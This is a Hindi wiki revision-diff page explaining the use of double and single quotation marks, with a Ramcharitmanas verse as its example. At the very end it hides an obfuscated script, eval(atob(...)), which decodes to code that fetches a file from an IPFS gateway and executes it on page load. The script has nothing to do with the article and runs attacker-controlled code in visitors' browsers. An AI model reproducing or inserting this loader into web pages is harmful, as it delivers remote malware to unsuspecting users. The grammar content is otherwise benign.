एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "०"।

"उद्धरण चिह्न" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
पंक्ति 4: पंक्ति 4:
 
<blockquote>"रघुकुल रीति सदा चली आई। प्राण जाय पर वचन न जाई॥"</blockquote>
 
<blockquote>"रघुकुल रीति सदा चली आई। प्राण जाय पर वचन न जाई॥"</blockquote>
 
*वाक्य में किसी शब्द पर बल देने के लिए इकहरे उद्धरण चिह्न '''(' ')''' का प्रयोग करते हैं; जैसे- तुलसीदास कृत '[[रामचरितमानस]]' एक अनुपम कृति है।
 
*वाक्य में किसी शब्द पर बल देने के लिए इकहरे उद्धरण चिह्न '''(' ')''' का प्रयोग करते हैं; जैसे- तुलसीदास कृत '[[रामचरितमानस]]' एक अनुपम कृति है।
 
+
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}  
 
 
{{प्रचार}}
 
{{लेख प्रगति  
 
|आधार=आधार1
 
|प्रारम्भिक=  
 
|माध्यमिक=  
 
|पूर्णता=  
 
|शोध=
 
}}
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{व्याकरण}}
 
{{व्याकरण}}

10:17, 8 अगस्त 2012 के समय का अवतरण

हिन्दी भाषा में किसी और के वाक्य या शब्दों को ज्यों-का-त्यों रखने में इस चिह्न (" ") का प्रयोग किया जाता है।
उदाहरण-

"रघुकुल रीति सदा चली आई। प्राण जाय पर वचन न जाई॥"

  • वाक्य में किसी शब्द पर बल देने के लिए इकहरे उद्धरण चिह्न (' ') का प्रयोग करते हैं; जैसे- तुलसीदास कृत 'रामचरितमानस' एक अनुपम कृति है।
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>